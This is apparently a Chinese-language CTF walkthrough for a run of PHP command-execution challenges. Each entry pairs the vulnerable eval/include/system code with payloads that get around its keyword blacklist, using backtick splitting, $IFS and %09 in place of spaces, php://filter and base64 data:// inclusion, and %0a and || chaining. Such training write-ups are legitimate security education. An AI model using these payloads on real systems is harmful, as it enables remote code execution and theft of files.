<?php
/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date: 2020-09-04 00:12:34
\# @Last Modified by: h1xa
\# @Last Modified time: 2020-09-04 00:26:48
\# @email: h1xa@ctfer.com
\# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag,直接cat *.php
?c=system(‘cat *.php’);
<?php
/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date: 2020-09-04 00:12:34
\# @Last Modified by: h1xa
\# @Last Modified time: 2020-09-04 00:42:26
\# @email: h1xa@ctfer.com
\# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这次过滤了system,用?c=echo shell_exec('cat fl``ag.p``hp');
这里我刚开始用?c=echo exec('ls');
发现只有index.php,并且?c=echo exec('cat fl``ag.p``hp');
之后也只有$flag = ‘flag{28bba894-7025-47a3-a269-e98f60f6bfce}’;
问过羽大佬之后才知道是exec和shell_exec的区别,exec只返回结果的最后一行,而shell_exec返回完整结果。
参考http://www.manongjc.com/article/1992.html
<?php
/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date: 2020-09-04 00:12:34
\# @Last Modified by: h1xa
\# @Last Modified time: 2020-09-04 00:49:10
\# @email: h1xa@ctfer.com
\# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了空格和单引号,cat也不能用,用%09代替空格绕过
?c=echo(`nl%09*`);
还有几个代替空格的,但是这里没用:{IFS}、IFS
<?php
/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date: 2020-09-04 00:12:34
\# @Last Modified by: h1xa
\# @Last Modified time: 2020-09-04 00:56:31
\# @email: h1xa@ctfer.com
\# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这次直接连echo都直接过滤了,包括括号也过滤了,php中不用括号的函数有echo、print、die、include、require、include_once、require_once,用include函数和post传伪协议构成payload
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
后面的33-37基本都差不多,同一个payload
<?php
/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date: 2020-09-04 00:12:34
\# @Last Modified by: h1xa
\# @Last Modified time: 2020-09-04 05:18:55
\# @email: h1xa@ctfer.com
\# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
过滤了flag,然后包含出来,用data协议
?c=data://text/plain,<?php system('cat f*');?>
<?php
/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date: 2020-09-04 00:12:34
\# @Last Modified by: h1xa
\# @Last Modified time: 2020-09-04 05:23:36
\# @email: h1xa@ctfer.com
\# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
}
}else{ highlight_file(FILE); }
在37的基础上过滤了php和file,data协议用base64加密一下
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==
<?php
/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date: 2020-09-04 00:12:34
\# @Last Modified by: h1xa
\# @Last Modified time: 2020-09-04 06:13:21
\# @email: h1xa@ctfer.com
\# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
在之前的基础上加了.php后缀
?c=data://text/plain,<?php system('cat f*');?>
<?php
/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date: 2020-09-04 00:12:34
\# @Last Modified by: h1xa
\# @Last Modified time: 2020-09-04 06:03:36
\# @email: h1xa@ctfer.com
\# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
啥也看不懂,大佬的wp都看不懂,先看羽师傅的wp
又是看不懂的东西,首先session_start()函数初始化session,然后引用session_id,构造system(ls);
俺照着试了试确实能行,但是也确实不能cat flag
如羽师傅所说因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。
接着看第二个解法读文件+数组改造
又是一大堆奇奇怪怪的函数,第一个函数localeconv():查找美国本地的数字格式化信息,返回内容为
pos()函数:pos()函数是current()函数的别名,它可返回数组中当前元素的值。在这里它返回了
localeconv()函数返回数组中的第一个元素.
scandir():列出指定路径中的文件和目录,这里构造的是scandir(.)。
现在的返回值是
array_reverse():返回单元顺序相反的数组,这里的作用就是把两个php文件提到前边
next():将数组中的内部指针向前移动一位 ,就是把数组中第二个元素提前一位并且返回,在这里是把flag.php提到第一位并返回
然后highlight_file()函数将flag.php中的内容返回
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show
*/
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
这个题还是看羽师傅的wp吧https://wp.ctf.show/d/137-ctfshow-web-web41
这个里边贴了个rce_or.php和exp.py,将这两个文件放在一起,然后在powershell里边
python exp.py url
python exp.py http://c47ca7f9-4c4f-4dde-8391-aa40c7496adf.chall.ctf.show/
就这么用,具体自己研究研究,俺也没弄太懂,还要再瞅瞅
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
关键代码>/dev/null 2>&1
>/dev/null 2>&1
//会将标准输出,错误输出都重定向至/dev/null,也就是全部丢弃
也就是说所有的输出都被丢弃了
payload:
?c=ls%0a
?c=cat%20flag.php%0a
这里用%0a换行,还有用;分割,||分割。
参考资料:
https://blog.csdn.net/qq_32419007/article/details/80187962
https://blog.csdn.net/xiaoABClong/article/details/95973140
还有atao师傅的这篇文章,总结的超级好(膜!):
https://www.cnblogs.com/erR0Ratao/p/13640600.html
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
emm。。过滤了;可以用%0a和||,过滤了cat可以用nl
payload:
?c=ls||
?c=nl%20flag.php||
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
又把flag过滤了,可以用*
payload:
?c=ls||
?c=nl%20fl*g.php||
或者是
?c=nl%20`ls`||
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这个把空格也过滤了,用空格绕过$IFS之类的,具体参考上边atao师傅的博客
payload:
nl$IFS`ls`||
这里有一点很奇怪,*通配符不能与IFS或<不能一起使用
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
又把$过滤了,就用<绕过
?c=nl<fl``ag.php||
同上
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
禁了反引号用单引号
?c=nl<fl''ag.php||
同上
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
<被过滤了,用${IFS}
?c=nl$IFS/fl''ag||
index.php?file=php://filter/read=convert.base64-encode/resource=flag.php
index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJubCAqIik/Pg==